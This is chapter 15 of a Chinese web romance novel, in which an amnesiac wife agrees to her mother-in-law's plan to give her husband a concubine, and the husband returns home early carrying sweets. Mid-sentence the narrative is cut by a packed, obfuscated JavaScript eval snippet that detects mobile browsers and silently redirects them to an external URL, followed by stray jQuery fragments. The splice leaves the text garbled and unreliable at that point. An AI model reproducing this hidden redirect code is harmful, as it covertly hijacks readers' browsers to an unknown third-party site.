15.第 15 章

作品:《和离当晚首辅夫人失忆了

    云阳县主一脸不悦地打量着纾妍。


    自从她得了离魂症后,她那从不过问后院之事的大儿子特地传话下去,说以后全府上下都不许在沈氏面前提及她举家流放之事,否则决不轻饶。这也就罢了,还特地派人来同她说,从今往后莫要拘着沈氏,她喜欢去哪儿都由着她。


    这不是在变相地说她这个做母亲的苛责他媳妇儿?


    云阳县主当时听了万分委屈,差点没当着下人的面掉下泪来。


    她做这一切难道是为自己吗?


    若不是当初他放着好好的帝都贵女不要,非要娶一个上不了台面的罪臣之女为妻,她至于担心他丢人,而做出这般恶婆婆的行径吗?


    云阳县主越想越气,又见纾妍额头描了一瓣海棠花瓣,装扮的妖里妖气,待她也不像从前那般恭敬,呵斥,“你还不知错?”


    纾妍不解,“我连句话都不曾说过,何错之有?”


    这时,坐在云阳县主下首的赵氏冷笑一声,“不孝有三,无后为大。大嫂嫂进门这么久却未能未大伯诞下一男半女,岂不是罪过?大嫂嫂自己不能生,却拦着大伯纳妾,还肆意欺辱素宁表妹,岂不是又一宗罪过?”


    话音刚落,孙氏叹了一口气,“想来九弟妹也是一时糊涂,不晓得县主之所以纳素宁表妹入门,也是为九弟与九弟妹的子嗣着想,一时误会了县主的这份心,侄媳这里先替九弟妹赔个不是。”


    纾妍只是失忆,又不是傻,也能听出这孙氏看似句句在帮她,实则每一句话都在给她定罪。


    果然,她那便宜婆婆一听这话,脸顿时拉了下来。


    纾妍反问:“这位大嫂嫂的话我都是听不懂了,我并未犯任何错,为何嫂嫂倒先替我认上了呢?我怎觉得大嫂嫂这是唯恐天下不乱?”


    这话一出,在场的人齐刷刷将眸光投向孙氏。


    孙氏见云阳县主直勾勾望着自己,面露哀戚,“九弟妹就算不领情,又何苦还要这样冤枉我。我心里亲近县主所以才厚着脸皮咱居在府中,九弟妹如今这般说我倒不好意思再住在此处。”又起身向云阳县主抹着泪道:“大郎前些日子在外头买了一处宅子,虽小是小了些,但也够我们一家几口子住。”


    孙氏嘴甜,这些年也如媳妇一般侍奉云阳县主在侧。


    云阳县主终归有些舍不得,“你本是好心,与你何干,你快坐下。”


    孙氏顺从应了声“是”,又坐了回去,但未再言语。


    云阳县主又将眸光投向纾妍,“我且问你,可是你阻着九郎不让他将素宁收回妾室?”


    纾妍闻言,扫了一眼一双眼哭红的李素宁,顿时恍然大悟。


    原来这才是云阳县主请她来的目的。


    她只是不喜欢李素宁在自己跟前哭哭啼啼而已,至于李素宁做不做妾与她何干。


    她道:“他纳便是,我无意见。”


    左右也不是她受累,那只老狐狸身子若是消受得起,便是纳十个八个也不碍她的事。


    这话一出,在场所有人都呆住,就连李素宁也忘了哭。


    云阳县主迟疑,“你不反对?”


    “这样好的事情我又有什么理由反对呢。只是,”纾妍眼神里流露出不解,“县主又怎知这生不出孩子就一定是我的过错?”


    她还不满十八岁,身子一向康健得很,可老狐狸今年快要而立之年。


    淡烟说他们两情相悦,可他却不常来后院,指不定身子有毛病。


    云阳县主听了这话,不动声色地打量着她。


    若论相貌身段,放眼整个帝都也寻不出几个比沈氏强的来,可自己的儿子宁愿宿在书房也不去后院,难道真的……


    云阳县主随即将这个荒唐的念头抛诸脑后,眉头紧锁,“我看你说来说去就是不想让九郎传宗接代!”


    纾妍也懒得与她争下去,看着老狐狸昨日帮她寄家书,今日又给她买糖的份上,那她就勉为其难吃了这杯便宜主母茶。


    思及此,她道:“既如此,不如现在就把这件事办了,县主觉得我坐哪里吃这杯茶合适?”


    云阳县主听得她的称呼,微微蹙眉,道:“素宁是贵妾,自然不能如此随便,你先将她妥善安置在你院子里,待挑个好日子,摆上几桌酒席。”


    纾妍一听要跟自己同住,立刻道:“不如将表姑娘安排在旖霞园。”


    旖霞园与裴珩所居的书房只有一道墙之隔,近得不能再近。


    此话一出,在场的人心思各异。


    赵氏今日本想着沈氏因纳妾闹一闹,最好惹得婆婆厌弃,这样自己就能渔翁得利,顺理成章地拿到管家权。


    可沈氏非但没有闹,竟然还把自己的夫君拱手让人,这让期望落空的赵氏感到失望的同时又委实不能理解,沈氏有多喜欢大伯这全府上下有目共睹,怕不是疯了?


    而李素宁眼神里的喜色则是连遮都遮不住。


    纾妍懒得理会这些人的心思。


    她今日逛了一晌午,又被叫到此处站了小半个时辰,只想回去补一觉,又见所有人都不作声,主动开口,“若是县主没意见,我这就回去安排。”


    云阳县主见她不似作假,神色温和,“既如此那就交由你安排,往后她诞下子嗣你便是嫡母。”


    纾妍连便宜夫君都不想要,更何况这个便宜“嫡母”,但嘴上却乖巧地应了一声“好”后告辞离去。


    纾妍前脚刚走,赵氏便道:“大嫂嫂如今生着病,管家——”


    话还未说完,被云阳县主冷冷打断,“你不是刚怀了两个月身子,不好好地养胎成日里想这些做什么!”


    赵氏没想到婆母竟会当众斥责自己,捂着尚未显怀的腹部,委屈得眼睛都红了,讪讪应了声“是”,“儿媳只是担心嫂嫂的身子。”


    云阳县主哪能不知晓赵氏那些小心思。


    在她看来长媳管家天经地义,沈氏虽然出身差些,但于管家上挑不出半点岔子。更何况自己刚给沈氏房中塞了一个妾室,眼下又要夺去她的管家权,这让她那个长子怎么看。


    “都散了罢,我也累了。”她有些疲惫地捂着额头。


    赵氏等人起身行礼告退。


    待人走远些,云阳县主吩咐陈嬷嬷,“你待会儿从我的陪嫁里挑一支珠钗拿去给老二家。她如今有孕,也是有功之臣。”


    陈嬷嬷应了声“是”,笑,“小姐既心里想着二娘子,方才何必叫她难堪。”


    云阳县主叹息,“你瞧瞧她,自嫁进来后就惦记着管家权。这满帝都谁人不知她那个娘当家就当得糊涂,她性情跟她娘有七八分相似,眼界窄得很,哪里能当好家。”


    陈嬷嬷道:“若论当家,大娘子确实是极好的,就是身世实在差些。”


    提及纾妍,云阳县主迟疑,“你说,她怎答应得这样痛快?”


    陈嬷嬷想了想,道:“兴许是病了一场就想开了。”


    “能这样最好。”云阳县主阖上眼,“你去外头打听打听可有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882029|158728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    专治不孕的好方子,给她也治上一治,她模样好,生得孩子必定也漂亮。”


    *


    澜院。


    纾妍一回去,淡烟就迫不及待道:“小姐,您怎就答应给姑爷纳妾呢?”


    困倦的纾妍打了个哈欠,声音缱绻,“我迟早要走,总不能拦着老狐狸传宗接代。”


    淡烟与轻云见她说得这样云淡风轻,心里急得不得了。


    小姐本就是无家可归之人,将来还能去哪儿呢,难不成真要去外头抛头露面做香料生意不成?


    且眼看着这几日姑爷待小姐上心些,县主又非要塞个李素宁给姑爷。这个李素宁本就与姑爷有旧情,若是姑爷真把她收入房中如何是好。


    对此并不在意的纾妍实在困得不行,饭都没用,换了寝衣便上了床。


    淡烟坐在床边劝道:“小姐要不再考虑考虑?”


    “娘要嫁人,前夫要纳妾,我还能拦着不成,”纾妍舒服把自己埋进柔软的鸳鸯寝被中,“指不定老狐狸回来还要感激我这样贤惠……”


    *


    裴珩今日散值得格外早,申时一刻就出了户部大门。


    这让户部一众官员震惊不已。


    须知素日里裴阁老每日都是部里来得最早,走得最晚,害得他们这些下属每回跟着熬到天擦黑才敢家去。


    朝中有谁不知户部的官员是朝中最勤勉,恨不得一日十二个时辰都趴在衙署里,为大端帝国算好每一笔账,务必使每一粒铜板都用在刀刃上。


    谁知今日晌午出去一趟也就罢了,刚过申时三刻就往家里赶。


    这家里莫非藏了比公务还要让裴阁老感兴趣的宝贝不成?


    莫说户部的官员想不通,就连书墨也想不通。


    他都有些不大习惯这么早回家,看向车窗里的那抹绯红高大的身影,好奇,“公子怎今日回这样早?”


    他淡淡道:“朝袍穿着不舒服。”


    书墨:“……”


    马车经过闹市区时,裴珩听着外头的叫卖声,吩咐,“去照着晌午的买一份来。”


    书墨愣了一下,随即明白过来自家公子说的是零嘴,忙跳下马车去买,一刻钟的功夫去而复返,将买好的糖葫芦以及糖人递给自家公子,驾车朝家赶去。


    大约两刻钟的功夫,马车在听雨堂门口停下。


    裴珩刚下马车,就听到身后有人喊了一声“九表哥”。


    裴珩回头,只见李素宁与孙氏站在不远处的月门处望着他。


    孙氏亦淡淡地笑了一下,“九弟散值回来了。”


    裴珩向她二人微微颔首。


    李素宁上前一步,眸光落在他手里的糖葫芦上,眼神里流露出一抹娇羞,“九表哥可是买给我的?”


    裴珩淡淡回道:“不是。”


    李素宁脸上的笑容冻在嘴角。


    能让他这样一个人带一串糖葫芦,这偌大的府中也只有那么一个了。


    眼见着他就要抬脚就要入院,心有不甘的李素宁上前一步,急道:“九表哥,表嫂已经同意让素宁入门,还特地将素宁安排在旖霞园!”


    话音刚落,他果然停驻脚步。


    此刻日暮西下,夕阳的余光洒在长长的过道,在一袭绯红官袍的男人身后拖出一道长长的影子。


    “几时的事?”他问。


    他神色瞧不出喜怒,声音亦淡然得很。


    可不知为何,李素宁背脊发凉,情不自禁地打了个哆嗦。